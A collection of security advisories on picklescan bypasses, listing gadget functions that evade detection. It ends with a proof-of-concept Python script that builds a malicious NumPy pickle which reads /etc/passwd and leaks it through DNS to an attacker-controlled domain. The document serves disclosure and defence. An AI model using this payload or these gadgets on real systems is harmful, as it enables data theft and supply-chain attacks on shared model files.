picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.
picklescan before 0.0.29 fails to detect the built-in python profile.Profile.run function when used in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files that bypass picklescan detection and achieve code execution upon deserialization.
picklescan before 0.0.30 fails to detect the doctest.debugscript function when analyzing pickle files, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files embedding doctest.debugscript calls that bypass picklescan detection and execute arbitrary commands upon pickle.load invocation.
Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing.private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.
picklescan before 0.0.28 fails to detect malicious pickle files using torch.utils.collectenv.run function in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.
picklescan before 0.0.30 fails to detect cProfile.run function calls in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files with cProfile.run payloads that bypass picklescan detection and achieve code execution upon deserialization.
picklescan before 0.0.29 fails to detect the built-in trace.Trace.run function when analyzing pickle files, allowing attackers to embed undetected malicious code. Remote attackers can craft malicious pickle files using trace.Trace.run in the reduce method to achieve arbitrary code execution when pickle.load processes the file.
picklescan before 0.0.29 fails to detect the built-in Python trace.Trace.runctx function when used in pickle file reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files with trace.Trace.runctx payloads that bypass picklescan detection and execute code upon pickle.load() invocation.
picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.run.Executive.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes during pickle.load, enabling remote code execution in PyTorch models and supply chain attacks.
picklescan before 0.0.34 fails to detect operator.attrgetter function calls in pickle payloads, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using operator.attrgetter in reduce methods to execute arbitrary code when pickle.load() processes the file.
picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.makelabel function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.
picklescan before 0.0.28 fails to detect malicious torch.fx.experimental.symbolicshapes.ShapeEnv.evaluateguardsexpression function calls in pickle files. Attackers can embed undetected code in pickle files that executes remote code when loaded by victims.
picklescan before 0.0.30 fails to detect the asyncio.unixevents.UnixSubprocessTransport.start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.
Picklescan before 0.0.33 fails to detect the numpy.f2py.crackfortran.getlincoef gadget in pickle reduce methods, allowing arbitrary code execution. Attackers can craft malicious pickle files that execute arbitrary Python code when loaded, bypassing Picklescan's safety checks and enabling supply-chain poisoning of shared model files.
picklescan before 0.0.28 fails to detect malicious pickle files that exploit torch.dynamo.guards.GuardBuilder.get function in reduce methods. Attackers can craft pickle files with embedded code that evades picklescan detection and executes arbitrary commands when loaded.
picklescan before 0.0.29 fails to detect malicious pickle payloads that utilize lib2to3.pgen2.grammar.Grammar.loads in the reduce method, allowing remote code execution. Attackers can craft pickle files embedding dangerous code that evades picklescan detection and executes during pickle.load() deserialization.
picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation.
picklescan before 0.0.33 fails to detect unsafe deserialization when numpy.f2py.crackfortran functions call eval on arbitrary strings. Attackers can embed malicious code in pickle files that executes when loaded from untrusted sources.
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.getservercertificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.getservercertificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using linecache module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service dnslog.cn - Triggers a DNS resolution via ssl.getservercertificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
python
import numpy as np
def createmaliciousmodel(): Define the payload class class DNSLogPayload: def reduce(self): # Step 1: read a line from /etc/passwd linecache = import("linecache") firstline = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain subdomain = firstline.replace(":", "").replace("/", "") fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.getservercertificate to trigger DNS resolution sslmod = import("ssl") return (getattr(sslmod, "getservercertificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file np.save("dnslogtriggerpayload.npy", arr, allowpickle=True)
def loadmodel(model): try: return np.load(model, encoding="latin1", fiximports=True, allowpickle=1) except Exception: raise ValueError("Invalid file")
if name == "main": createmaliciousmodel() model = "dnslogtriggerpayload.npy" print("[i] Loading and executing the model") data = loadmodel(model)
Impact
1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS